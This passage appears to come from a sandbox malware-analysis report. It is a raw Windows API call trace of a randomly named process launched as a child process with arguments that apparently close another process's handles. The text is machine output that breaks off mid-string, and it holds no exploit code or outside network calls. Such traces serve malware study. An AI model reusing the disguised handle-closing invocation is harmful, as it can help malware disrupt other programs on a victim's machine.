[0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetLastError () [0079.261] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0079.262] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.263] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] GetLastError () [0079.264] SetLastError (dwErrCode=0x0) [0079.264] GetLastError () [0079.264] SetLastError (dwErrCode=0x0) [0079.264] GetLastError () [0079.265] SetLastError (dwErrCode=0x0) [0079.265] GetLastError () [0079.265] SetLastError (dwErrCode=0x0) [0079.265] GetLastError () [0079.265] SetLastError (dwErrCode=0x0) [0079.265] GetLastError () [0079.265] SetLastError (dwErrCode=0x0) [0079.280] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0090 | out: hHeap=0x190000) returned 1 [0079.280] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0079.280] RtlExitUserProcess (ExitCode=0x1) [0079.280] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1af060 | out: hHeap=0x190000) returned 1 Process: id = "145" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x7fa1000" os_pid = "0xc7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 693 os_tid = 0xc80 [0079.407] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0079.407] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0079.408] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0079.409] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0079.410] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0079.411] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0079.412] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0079.413] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0079.413] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0079.413] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0079.413] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0079.413] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0079.413] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0079.414] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0079.414] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0079.414] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0079.414] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0079.414] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0079.414] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0079.414] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0079.415] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0079.415] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0079.415] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0079.415] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0079.415] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0079.415] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0079.415] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0079.416] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0079.416] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0079.416] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0080.134] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0080.135] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd3b27380, dwHighDateTime=0x1d5d06a)) [0080.135] GetCurrentThreadId () returned 0xc80 [0080.135] GetCurrentProcessId () returned 0xc7c [0080.135] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22208686188) returned 1 [0080.135] GetProcessHeap () returned 0x600000 [0080.135] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0080.135] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0080.136] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0080.137] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0080.138] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0080.139] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0080.139] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0080.139] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0080.139] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0080.139] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0080.139] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3bc) returned 0x6160c8 [0080.139] GetCurrentThreadId () returned 0xc80 [0080.139] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x18) returned 0x616490 [0080.139] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x6164b0 [0080.140] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xf9da0bc3, hStdError=0x0)) [0080.140] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0080.140] GetFileType (hFile=0x3) returned 0x2 [0080.140] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0080.140] GetFileType (hFile=0x7) returned 0x2 [0080.140] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0080.140] GetFileType (hFile=0xb) returned 0x2 [0080.141] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner" [0080.141] GetEnvironmentStringsW () returned 0x616cb8* [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0xb86) returned 0x617848 [0080.141] FreeEnvironmentStringsW (penv=0x616cb8) returned 1 [0080.141] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x8e) returned 0x616cb8 [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xa0) returned 0x616d50 [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3e) returned 0x6183f0 [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x6c) returned 0x616df8 [0080.141] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x6e) returned 0x616e70 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x78) returned 0x60f8e8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x62) returned 0x616ee8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x616f58 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x48) returned 0x616f90 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2a) returned 0x616fe0 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x28) returned 0x617018 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1a) returned 0x615a98 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x4a) returned 0x617048 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x72) returned 0x60f968 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x6170a0 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x6170d8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1c) returned 0x615ac0 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xd2) returned 0x617110 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x7c) returned 0x6171f0 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x36) returned 0x617278 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3a) returned 0x618438 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x90) returned 0x6172b8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x617350 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x617380 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x36) returned 0x6173b8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x48) returned 0x6173f8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x52) returned 0x617448 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3c) returned 0x618480 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x6174a8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x82) returned 0x6174c8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2e) returned 0x617558 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1e) returned 0x615ae8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2c) returned 0x617590 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x54) returned 0x6175c8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x52) returned 0x617628 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2a) returned 0x617688 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3c) returned 0x6184c8 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x54) returned 0x6176c0 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x617720 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x30) returned 0x617750 [0080.142] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x8c) returned 0x617788 [0080.142] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x617848 | out: hHeap=0x600000) returned 1 [0080.143] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x617820 [0080.143] GetLastError () returned 0x0 [0080.143] SetLastError (dwErrCode=0x0) [0080.143] GetLastError () returned 0x0 [0080.143] SetLastError (dwErrCode=0x0) [0080.143] GetLastError () returned 0x0 [0080.143] SetLastError (dwErrCode=0x0) [0080.143] GetACP () returned 0x4e4 [0080.143] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x220) returned 0x618028 [0080.143] GetLastError () returned 0x0 [0080.143] SetLastError (dwErrCode=0x0) [0080.143] IsValidCodePage (CodePage=0x4e4) returned 1 [0080.143] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0080.143] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0080.143] GetLastError () returned 0x0 [0080.143] SetLastError (dwErrCode=0x0) [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.144] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 